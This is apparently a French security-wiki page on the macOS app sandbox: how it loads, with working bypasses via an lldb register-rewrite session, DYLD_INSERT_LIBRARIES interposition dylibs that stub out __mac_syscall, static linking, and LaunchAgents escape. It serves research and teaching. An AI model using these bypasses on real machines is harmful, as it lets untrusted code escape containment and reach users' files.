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Débogage et contournement du bac à sable macOS

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Processus de chargement du bac à sable

Image de http://newosxbook.com/files/HITSB.pdf

Dans l'image précédente, il est possible d'observer comment le bac à sable sera chargé lorsqu'une application avec l'entitlement com.apple.security.app-sandbox est exécutée.

Le compilateur liera /usr/lib/libSystem.B.dylib au binaire.

Ensuite, libSystem.B appellera plusieurs autres fonctions jusqu'à ce que xpc_pipe_routine envoie les entitlements de l'application à securityd. Securityd vérifie si le processus doit être mis en quarantaine à l'intérieur du bac à sable, et le cas échéant, il sera mis en quarantaine.
Enfin, le bac à sable sera activé par un appel à __sandbox_ms qui appellera __mac_syscall.

Possibles contournements

{% hint style="warning" %} Notez que les fichiers créés par des processus en bac à sable se voient attribuer l'attribut de quarantaine pour empêcher les évasions du bac à sable. {% endhint %}

Exécuter un binaire sans bac à sable

Si vous exécutez un binaire qui ne sera pas mis en bac à sable à partir d'un binaire mis en bac à sable, il s'exécutera dans le bac à sable du processus parent.

Déboguer et contourner le bac à sable avec lldb

Compilons une application qui devrait être mise en bac à sable :

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

{% tab title="entitlements.xml" %}

Le fichier entitlements.xml contient les autorisations spécifiques accordées à une application macOS pour accéder à certaines fonctionnalités ou ressources du système. Ces autorisations sont définies à l'aide de clés et de valeurs spécifiques dans le fichier XML.

Voici un exemple de fichier entitlements.xml :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.files.user-selected.read-write</key>
    <true/>
    <key>com.apple.security.network.client</key>
    <true/>
    <key>com.apple.security.print</key>
    <true/>
</dict>
</plist>

Dans cet exemple, l'application a les autorisations suivantes :

• com.apple.security.app-sandbox : autorise l'application à s'exécuter dans un bac à sable.
• com.apple.security.files.user-selected.read-write : autorise l'application à lire et écrire des fichiers sélectionnés par l'utilisateur.
• com.apple.security.network.client : autorise l'application à accéder au réseau.
• com.apple.security.print : autorise l'application à imprimer.

Ces autorisations peuvent être modifiées pour répondre aux besoins spécifiques de l'application, mais il est important de noter que la modification incorrecte des autorisations peut entraîner des problèmes de sécurité ou de fonctionnalité.

{% endtab %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% tab title="Info.plist" %}

Le fichier Info.plist est un fichier de configuration utilisé par les applications macOS pour définir leurs paramètres et comportements. Il contient des informations telles que le nom de l'application, son identifiant de bundle, les autorisations requises, les services système utilisés, etc. Ce fichier est essentiel pour le bon fonctionnement de l'application et est généralement situé dans le bundle de l'application.

Dans le contexte du sandboxing, le fichier Info.plist est utilisé pour déclarer les autorisations nécessaires à l'application pour accéder à certaines ressources système. Ces autorisations sont définies à l'aide de clés spécifiques dans le fichier Info.plist. Par exemple, l'autorisation d'accéder au réseau peut être déclarée en utilisant la clé "com.apple.security.network.client".

Il est important de noter que le fichier Info.plist est signé numériquement pour garantir son intégrité et empêcher toute modification non autorisée. La signature numérique est vérifiée par le système d'exploitation lors du lancement de l'application.

Lors de l'analyse d'une application macOS, il est essentiel de vérifier le contenu du fichier Info.plist pour comprendre les autorisations demandées par l'application et évaluer les risques potentiels liés à ces autorisations.

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Ensuite, compilez l'application :

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

{% endcode %}

{% hint style="danger" %} L'application essaiera de lire le fichier ~/Desktop/del.txt, que le Sandbox n'autorisera pas.
Créez un fichier là-bas car une fois que le Sandbox est contourné, il pourra le lire :

echo "Sandbox Bypassed" > ~/Desktop/del.txt

{% endhint %}

Déboguons l'application pour voir quand le Sandbox est chargé :

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp
# Pour contourner, sautez à l'adresse b.lo en modifiant d'abord certains registres
(lldb) breakpoint delete 1 # Supprimer le point d'arrêt
(lldb) register write $pc 0x187659928 # Adresse b.lo
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Processus 2517 en cours de reprise
Contournement du bac à sable réussi !
Processus 2517 terminé avec le statut = 0 (0x00000000)

{% hint style="warning" %} Même si le Sandbox est contourné, TCC demandera à l'utilisateur s'il souhaite autoriser le processus à lire les fichiers du bureau. {% endhint %}

Abus d'autres processus

Si à partir du processus Sandbox, vous parvenez à compromettre d'autres processus s'exécutant dans des sandboxes moins restrictives (ou aucune), vous pourrez échapper à leurs sandboxes :

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Contournement de l'interposition

Pour plus d'informations sur l'interposition, consultez :

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interposer _libsecinit_initializer pour empêcher le sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interposer __mac_syscall pour contourner le Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Compilation statique et liaison dynamique

Cette recherche a découvert 2 façons de contourner le bac à sable. Étant donné que le bac à sable est appliqué depuis l'espace utilisateur lorsque la bibliothèque libSystem est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais mis en bac à sable :

• Si le binaire était complètement compilé de manière statique, il pourrait éviter de charger cette bibliothèque.
• Si le binaire n'avait pas besoin de charger de bibliothèques (car le lien est également dans libSystem), il n'aurait pas besoin de charger libSystem.

Shellcodes

Notez que même les shellcodes en ARM64 doivent être liés à libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Autorisations

Notez que même si certaines actions peuvent être autorisées par le sandbox, si une application dispose d'une autorisation spécifique, comme dans l'exemple suivant :

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Abus des emplacements de démarrage automatique

Si un processus en bac à sable peut écrire dans un emplacement où ultérieurement une application non en bac à sable va exécuter le binaire, il pourra s'échapper simplement en y plaçant le binaire. Un bon exemple de ce type d'emplacements sont ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Pour cela, vous pourriez même avoir besoin de 2 étapes : faire en sorte qu'un processus avec un bac à sable plus permissif (file-read*, file-write*) exécute votre code qui écrira effectivement dans un emplacement où il sera exécuté sans bac à sable.

Consultez cette page sur les emplacements de démarrage automatique :

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Références

• http://newosxbook.com/files/HITSB.pdf
• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
• https://www.youtube.com/watch?v=mG715HcDgO8

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